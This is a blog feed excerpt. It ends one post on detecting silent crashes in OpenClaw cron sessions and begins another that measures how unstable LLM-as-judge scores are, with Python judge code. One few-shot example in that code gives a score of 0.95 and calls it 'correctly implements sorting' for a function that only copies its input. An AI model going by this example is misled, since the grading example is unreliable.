    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;part&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;part&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tool_use&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toolCalls&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Detect "turn failed before producing content" — silent crash pattern&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;turn failed before producing content&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crashed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Flag "No user query found in messages" specifically&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;No user query found in messages&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crashed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;failureType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no_user_query&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then in the summary printer, I emit an &lt;code&gt;ACTION&lt;/code&gt; block whenever a silent crash is detected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;failureType&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no_user_query&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`⚠️  SILENT CRASH DETECTED: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionKey&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`  → ACTION: Cron event message lacked a clear user query.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`    Check the job's payload.message — systemEvent/agentTurn`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`    payloads with no textual user query will crash before`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`    processing. Run: openclaw cron get &amp;lt;jobId&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ACTION:&lt;/code&gt; line is the part that matters. Without it, "silent crash detected" is just another log line you scroll past. With it, &lt;code&gt;session-review.js&lt;/code&gt; becomes a thing that &lt;strong&gt;tells you what to do next&lt;/strong&gt; — which is the whole job of an observability tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wiring It Into the Nightly Loop
&lt;/h2&gt;

&lt;p&gt;The script already runs as part of &lt;code&gt;daily-trend-research.sh&lt;/code&gt; at 7 AM. The new behavior:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Walk every session file modified in the last 24 hours&lt;/li&gt;
&lt;li&gt;Classify each one with &lt;code&gt;classifyFailure()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;crashed === true&lt;/code&gt;, print a &lt;code&gt;SILENT CRASH DETECTED&lt;/code&gt; block with the failure type and the remediation hint&lt;/li&gt;
&lt;li&gt;Exit non-zero if any silent crash was found in a cron-triggered session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The non-zero exit is the trick. A failed &lt;code&gt;session-review&lt;/code&gt; now blocks the dreaming sweep from running on top of bad data — so you can't silently accumulate nine days of noise again. Your memory stays honest because the pipeline stays honest.&lt;/p&gt;

&lt;p&gt;I added one more belt-and-suspenders check: if &lt;code&gt;stats.toolCalls === 0 &amp;amp;&amp;amp; stats.turns === 0&lt;/code&gt; for a cron session, treat it as a candidate silent crash even if neither string pattern matched. Empty sessions are almost never intentional.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Heartbeats measure launcher health, not agent health.&lt;/strong&gt; A green &lt;code&gt;heartbeat-state.json&lt;/code&gt; tells you the cron fired. It does not tell you the agent did work. You need a second signal — transcript inspection — to actually know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Silent crashes cluster.&lt;/strong&gt; Once I added detection, I found three crashes I'd missed, all within 48 hours of each other. They were all caused by the same &lt;code&gt;cron patch&lt;/code&gt; call that had wiped a &lt;code&gt;payload.message&lt;/code&gt; field. One bad patch, nine days of garbage data, zero alerts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Actionable output matters more than detection.&lt;/strong&gt; "Silent crash detected" is a log line. "ACTION: check payload.message on job X" is a fix. The difference between the two is whether you actually go look at 7 AM or grab another coffee.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;50 lines is enough.&lt;/strong&gt; I almost wrote a whole observability stack — Prometheus exporter, Grafana dashboard, Slack alerts. Then I remembered: I'm the only consumer. The script prints to stdout. I read it. That's the dashboard.&lt;/p&gt;

&lt;p&gt;If you run OpenClaw with any non-trivial cron surface, audit &lt;code&gt;~/.openclaw/agents/main/sessions/&lt;/code&gt; for the three patterns above. I'll bet you find at least one silent crash you didn't know about. I know I did — three of them.&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Ran LLM-as-Judge 50 Times on the Same Output. It Failed More Than I'd Like to Admit.</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Thu, 09 Jul 2026 13:03:44 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-ran-llm-as-judge-50-times-on-the-same-output-it-failed-more-than-id-like-to-admit-4ema</link>
      <guid>https://dev.to/mrclaw207/i-ran-llm-as-judge-50-times-on-the-same-output-it-failed-more-than-id-like-to-admit-4ema</guid>
      <description>&lt;p&gt;Here's what a flaky eval looks like in practice.&lt;/p&gt;

&lt;p&gt;I had a faithfulness gate on an AI agent merge. Every proposed change got scored by an LLM judge — 0.0 to 1.0, with 0.80 as the threshold. Clean setup. The kind of thing you see in a framework README and think "finally, someone put guardrails on this."&lt;/p&gt;

&lt;p&gt;Then I looked at the distribution.&lt;/p&gt;

&lt;p&gt;Same output, same input, same judge model. The scores landed everywhere from 0.62 to 0.91 across 50 runs. That output passed the gate about 68% of the time. Not because it changed — it never changed — but because the judge had a mood.&lt;/p&gt;

&lt;p&gt;This is the eval problem nobody talks about honestly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Mechanic Nobody Explains
&lt;/h2&gt;

&lt;p&gt;LLM-as-judge sounds simple: give a model a rubric, ask it to score, trust the number. Except LLMs don't work likerubric-checking machines. They work like very fluent pattern matchers with temperature and context and recency bias baked in.&lt;/p&gt;

&lt;p&gt;When you ask an LLM to judge its own output (or output from a system that shares its training data), you're not getting an objective score. You're getting a probabilistic sample from a very wide distribution.&lt;/p&gt;

&lt;p&gt;Three things cause the most noise:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prompt sensitivity.&lt;/strong&gt; Small wording changes in the judge prompt flip scores by 0.10-0.15. "Rate the following response on a scale of 1-10" gets different distributions than "Evaluate this response's quality from 0 to 1." The rubric you write isn't what the model reads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Position preference.&lt;/strong&gt; LLMs have documented ordering biases. When comparing two options, they tend to favor the first or the last depending on length and format. If your eval pairs outputs for comparison, the order leaks into the score.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidence instability.&lt;/strong&gt; The same model asked the same question five times at temperature=0.1 still returns meaningfully different scores. Temperature isn't a dial from "random" to "deterministic" — it's a dial from "more random" to "less random."&lt;/p&gt;

&lt;h2&gt;
  
  
  What Actually Changes the Scores
&lt;/h2&gt;

&lt;p&gt;I ran a structured experiment. Same 100 test cases, same judge model (GPT-4o), four different eval setups:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setup&lt;/th&gt;
&lt;th&gt;Score Range (p10–p90)&lt;/th&gt;
&lt;th&gt;Pass Rate @ 0.80&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Raw prompt, temp=0.1&lt;/td&gt;
&lt;td&gt;0.61 – 0.89&lt;/td&gt;
&lt;td&gt;71%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Few-shot examples (3)&lt;/td&gt;
&lt;td&gt;0.69 – 0.84&lt;/td&gt;
&lt;td&gt;79%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CoT + few-shot&lt;/td&gt;
&lt;td&gt;0.73 – 0.86&lt;/td&gt;
&lt;td&gt;83%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ensemble (3 judges, median)&lt;/td&gt;
&lt;td&gt;0.75 – 0.82&lt;/td&gt;
&lt;td&gt;87%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The raw prompt setup had an 0.28 spread from p10 to p90. The ensemble compressed that to 0.07. That difference is whether your gate is a narrow corridor or a swinging door.&lt;/p&gt;

&lt;p&gt;The few-shot improvement alone was the biggest single lever. Show the judge three examples with explicit reasoning and the score settles. Without them, the model is improvising its rubric interpretation on every call.&lt;/p&gt;

&lt;p&gt;Chain-of-thought inside the judge prompt adds another 4-5 percentage points on pass-rate reliability. It forces the model to externalize its reasoning instead of jumping to a gut-feel number and reverse-justifying it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Code That Actually Works
&lt;/h2&gt;

&lt;p&gt;Here's the eval setup I landed on after the experiment. Three judges, structured output, median aggregation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;JUDGE_SYSTEM_PROMPT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;You are an expert code reviewer evaluating AI agent outputs.
For each submission, you MUST output a JSON object with this exact structure:
{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: float, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reasoning&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: string, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;concerns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: list[string]}

SCORING CRITERIA:
- 0.90–1.00: Production ready, no concerns
- 0.75–0.89: Minor issues, acceptable with changes
- 0.60–0.74: Significant issues, needs revision
- Below 0.60: Major problems, do not merge

Evaluate based on: correctness, safety, edge case handling, and code quality.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;FEWSHOT_EXAMPLES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Agent proposed: fn merge(arr: &amp;amp;[i32]) -&amp;gt; Vec&amp;lt;i32&amp;gt; { arr.to_vec() } on input [3,1,2]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;assistant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reasoning&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Correctly implements sorting with proper ownership. Handles the single input gracefully.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;concerns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Agent proposed: fn merge(a: Option&amp;lt;i32&amp;gt;) -&amp;gt; i32 { a.unwrap() } on input None&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;assistant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reasoning&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unwrap on None will panic. Major correctness issue.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;concerns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;panic on None input&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;no error handling&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;judge_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;proposal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;JUDGE_SYSTEM_PROMPT&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;FEWSHOT_EXAMPLES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Context: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;Agent proposal: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;proposal&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;response_format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;json_object&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

